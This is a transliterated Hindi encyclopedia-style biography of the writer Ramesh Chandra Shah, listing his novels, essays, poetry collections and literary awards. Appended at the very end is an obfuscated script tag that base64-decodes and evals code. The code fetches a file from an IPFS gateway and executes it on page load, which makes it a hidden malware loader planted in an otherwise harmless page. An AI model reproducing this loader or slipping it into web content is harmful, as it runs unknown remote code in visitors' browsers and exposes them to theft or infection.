रमेश चंद्र शाह
ramesh chandr shah
| |
poora nam | ramesh chandr shah |
janm | 15 navambar, 1937 |
janm bhoomi | almo da, uttarakhand |
pati/patni | jyotna |
karm bhoomi | bharat |
karm-kshetr | hindi sahity |
mukhy rachanaean | 'rachana ke badale', 'shaitan ke bahane', 'vinayak', 'chhayavad ki prasangikata', 'samanaantar', 'sabad nirantar' adi. |
puraskar-upadhi | sahity akadami puraskar, 2014 |
prasiddhi | upanyasakar, natakakar, nibandhakar tatha samalochak |
nagarikata | bharatiy |
any janakari | ramesh chandr shah ne kee mashahoor kavy, kahani sangrah, yatra vritaant likhe haian. unako 'vinayak' upanyas ke lie 'sahity akadami puraskar' diya gaya. |
adyatan | 17:36, 12 sitambar 2021 (IST)
|
inhean bhi dekhean | kavi soochi, sahityakar soochi |
ramesh chandr shah (aangrezi: Ramesh Chandra Shah, janm- 15 navambar, 1937, almo da, uttarakhand) hindi ke prasiddh upanyasakar, natakakar, nibandhakar tatha kushal samalochak haian. sal 2014 ka sahity akadami puraskar apako mila hai. sal 2001 mean unhean pratishthit 'vyas samman' tatha 2004 mean 'padm shri' se bhi sammanit kiya gaya hai.
parichay
lekhak ramesh chandr shah ka uttarakhand ke almo da mean 15 navambar san 1937 ko hua tha. 2014 ka sahity akadami puraskar mashahoor sahityakar d aau. ramesh chandr shah ko mila hai. ramesh chandr shah 'gobar ganesh', 'kissa gushlam', 'poorva par', 'chak par ganesh' aur 'vinayak' jaise tamam upanyasoan se apani pahachan bana chuke haian. unhoanne kee mashahoor kavy, kahani sangrah, yatra vritaant likhe haian. unako unake 'vinayak' upanyas ke lie 'sahity akadami puraskar' diya gaya.
38 sal pahale jab unaka upanyas 'gobar ganesh' prakashit hua tha, tab pahali bar unhean sahity akadami diye jane ki charcha huee thi. 78 kitabean likhane ke bad kahian ja kar 'vinayak' upanyas ko sahity akadami ke layak samajha gaya. is dauran ramesh chandr shah ne 78 kitabean likhian. shah kahate haian, "meri kitabean kam se kam chhah avasaroan par sahity akadami ke liye shartalist ki geean, lekin mujhe sukh keval is bat ka hai ki jis 'vinayak' upanyas ke liye aantat: mujhe sahity akadami mila, vah mere pahale upanyas 'gobar ganesh' ka hi vistar hai."[1]
mukhy kritiyaan
upanyas : gobar ganesh, kissa gulam, poorva par, akhiri din, punarvas tatha ap kahian nahian rahate vibhooti baboo.[2]
kahani sangrah : jangal mean ag, muhalle ka ravan, manapatr, thietar, pratinidhi kahaniyaan[3].
kavita sangrah : kachhue ki pith par, harishchandr ao, nadi bhagati aee, pyare muchakuand ko, dekhate haian shabd bhi apana samay, chak par samay[4].
nibandh sangrah : rachana ke badale, shaitan ke bahane, adoo ka pe d, padhate-padhate, svadharm aur kalagati tatha hiandi ki duniya mean.
yatra sansmaran : ek lanbi chhaanh.
sakshatkar : mere sakshatkar.
samalochana : chhayavad ki prasangikata, samanaantar, sabad nirantar, vagarth, bhoolane ke viruddh, vagarth ka vaibhav, jayashankar prasad, alochana ka paksh, samay sanvadi.
natak : mara jaee khusaro, matiyaburj.
anuvad : chhand aur pakshi (kaithalin rain ki kavitaoan ka hiandi roopaantar) aangrezi mean.
atm jnan
apane likhe mean darshan aur chiantan ke vistar ko lekar ramesh chandr shah ke pas apane tark haian, "am hiandustani ke lie jnan ka matalab atmajnan hota hai, n aaulej iandastri nahian. samany se samany adami mean bhi darshanik sanskar hota hi hai. vahi mujhamean bhi hai. jivan ke svabhavik disha, parinati ke roop mean vah rachanaoan mean bhi aega hi." ramesh chandr shah umr ke is p dav mean a kar bhi thake nahian haian. har roz likhana, jivan ke doosare kam ki tarah unaki dinacharya mean shamil hai, kyoanki shah manate haian ki abhi unaki shreshthatam rachana ka likha jana bacha hua hai.[1]
samman
- shikhar samman
- bharatiy parishad evan madhy pradesh sahity parishad se puraskrit
- mahavir prasad dvivedi puraskar
- vyas samman, 2001
|
|
|
|
|
tika tippani aur sandarbh
- ↑ 1.0 1.1 shreshthatam rachana abhi baqi (hiandi) bbc.com. abhigaman tithi: 12 sitambar, 2021.
- ↑ ramesh chandr shah (hiandi) hindisamay.com. abhigaman tithi: 12 sitambar, 2021.
- ↑ rajakamal pepar baik
- ↑ pratinidhi kavitaoan ka sanchayan, vagdevi paket buks
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>